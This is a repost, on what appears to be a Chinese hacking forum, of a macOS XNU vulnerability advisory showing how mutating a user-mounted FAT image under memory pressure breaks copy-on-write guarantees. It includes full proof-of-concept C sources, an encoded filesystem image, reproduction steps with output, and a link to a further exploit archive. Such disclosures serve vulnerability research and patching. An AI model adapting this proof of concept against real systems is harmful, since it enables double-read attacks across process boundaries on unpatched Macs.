跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

macOS XNU - Copy-on-Write Behavior Bypass via Mount of User-Owned Filesystem Image


轩辕三官

推荐的帖子

XNU has various interfaces that permit creating copy-on-write copies of data
between processes, including out-of-line message descriptors in mach messages.
It is important that the copied memory is protected against later modifications
by the source process; otherwise, the source process might be able to exploit
double-reads in the destination process.

This copy-on-write behavior works not only with anonymous memory, but also with
file mappings. This means that, after the destination process has started
reading from the transferred memory area, memory pressure can cause the pages
holding the transferred memory to be evicted from the page cache. Later, when
the evicted pages are needed again, they can be reloaded from the backing
filesystem.

This means that if an attacker can mutate an on-disk file without informing the
virtual management subsystem, this is a security bug.

MacOS permits normal users to mount filesystem images. When a mounted filesystem
image is mutated directly (e.g. by calling pwrite() on the filesystem image),
this information is not propagated into the mounted filesystem.


The following is a simple proof-of-concept that demonstrates the problem, split
across multiple small helpers for simplicity:


buggycow.c (opens a file from a FAT image mount, creates a CoW mapping, and
reads from it when requested):
===============
#include <sys/mman.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>

int main(void) {
  setbuf(stdout, NULL);

  int fd = open("/Volumes/NO NAME/testfile", O_RDWR);
  if (fd == -1) err(1, "open");
  unsigned int *mapping = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
  if (mapping == MAP_FAILED) err(1, "mmap");

  pointer_t cow_mapping;
  mach_msg_type_number_t cow_mapping_size;
  if (vm_read(mach_task_self(), (mach_vm_address_t)mapping, 0x4000, &cow_mapping, &cow_mapping_size) != KERN_SUCCESS) errx(1, "vm read");
  if (cow_mapping_size != 0x4000) errx(1, "vm read size");

  while (1) {
    printf("orig mapping has value 0x%x, cow mapping has value 0x%x\n", *mapping, *(unsigned int*)cow_mapping);
    printf("press enter to continue: ");
    getchar();
  }
}
===============

mod.c (modifies file contents inside the FAT filesystem image):
===============
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <stdio.h>

int main(void) {
  int fd = open("fatimg.img", O_RDWR);
  if (fd == -1) err(1, "open");
  if (pwrite(fd, "AAAA", 4, 0x37000) != 4) err(1, "pwrite");
  printf("done\n");
}
===============

pressure.c (creates memory pressure; you may have to change `SIZE` such that it
is significantly bigger than the amount of RAM in your test machine):
===============
#include <err.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>

#define SIZE (1024UL*1024UL*1024UL*20UL)

int main(void) {
  int fd = open("spamfile", O_RDWR|O_TRUNC|O_CREAT, 0666);
  if (fd == -1) err(1, "open");
  if (ftruncate(fd, SIZE)) err(1, "ftruncate");
  char *mapping = mmap(NULL, SIZE, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
  if (mapping == MAP_FAILED) err(1, "mmap");
  if (madvise(mapping, SIZE, MADV_RANDOM)) err(1, "madvise");
  puts("mapped");
  for (unsigned long off = 0; off < SIZE; off++) {
    mapping[off] = 42;
  }
  puts("done");
}
===============

fatimg.img.bz2.base64 (FAT filesystem with a single file "testfile" in
it, which contains the string "HELLO WORLD AAAA", stored at offset 0x37000):
===============
QlpoOTFBWSZTWWCuw5MFfk7//d/7wSDRITEEZ2ffiTfv3KZAAEgIAJQECUBCBAlAybABOE1hqp+i
kfkjETATJkwJgGiGIY1NM1PQEbU2jRqFTIjRmpo0ADRoMgAAAAGTJgTIARSSIaaZNGjQNAAAAAGg
AAaNAGJ+LRgQ8YFAZoEEE/idIUFFFRJ4qiiqibs6RBGfFDBkXMCKKKqJFHpmCRSJUy7KhlXpv+9v
3xSiKkuWmWKvXPKtepMgooqomAQta6v5itC2YCvDFO2sRZn2nInTRQ0JDp3gdpjD2ksNgl5x3wDH
Im3IkclmyVSy9hRzIWICM3xvZFLMqoTCM/zPU/QuS7kTsbg0EpXafayp5MmFUFvIVffyBxYWMQxC
mELiRSUEmFTeEU2GyYJz4a6Bk9/eOGIUssEiThI2PAmlnHmgOGYdB6KHlZpCKIIOtCUdYeCKc8zg
de5s8XX09eXR3r0f+n1NGwwBRRVRJ1oZEJSIkf5igrJMprIcE8W+Ar8cgAGAAAAQQABhAJqMhUBL
UhUBLmKCskymsgePd5wAyE6AEYAAAAQAEEAAYZgKU0yogi2Kogi8XckU4UJCdb3A9A==
===============


To reproduce:

Unpack and compile the files:

$ base64 -D < fatimg.img.bz2.base64 | bunzip2 > fatimg.img
$ cc -o buggycow buggycow.c
$ cc -o mod mod.c
$ cc -o pressure pressure.c
$

Mount the filesystem image (e.g. by double-clicking on it in finder).

In one terminal:

$ ./buggycow 
orig mapping has value 0x4c4c4548, cow mapping has value 0x4c4c4548
press enter to continue: 

In a second terminal:

$ ./mod
done
$ ./pressure 
mapped


Once you can see in "top" that there has been no physical memory anymore for a
while - or when ./pressure has finished running -, go back to the first terminal
and press enter. You should see this:

$ ./buggycow 
orig mapping has value 0x4c4c4548, cow mapping has value 0x4c4c4548
press enter to continue: 
orig mapping has value 0x41414141, cow mapping has value 0x41414141
press enter to continue:

(Weirdly, when you kill the ./pressure helper, e.g. by pressing CTRL+C, it
takes minutes before the process actually disappears.)


Ian made a proof of concept that demonstrates that this also applies to COW
mappings created via out-of-line descriptors in mach messages; I've attached
this PoC as mOOM_COW.tar.bz2. Usage:

$ tar xf mOOM_COW.tar.bz2
$ cd mOOM_COW
$ vi mOOM_COW.c # edit RAM_GB in the first line to the amount of RAM in your machine
$ cc -o mOOM_COW mOOM_COW.c
$ ./mOOM_COW
[+] child got stashed port
[+] child sent hello message to parent over shared port
[+] parent received hello message from child
[+] child restored stolen port
[+] mounted fatimg
[+] child sent message to parent
[+] parent got an OOL descriptor for 4000 bytes, mapped COW at: 0x10bead000
[+] parent reads: 4c4c4548
[+] telling child to try to change what I see!
[+] child received ping to start trying to change the OOL memory!
[+] child wrote to the file underlying the mount

[+] child is spamming
[+] child has finished spamming
[+] parent got ping message from child, lets try to read again...
[+] parent reads: 41414141


Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46478.zip
            
链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...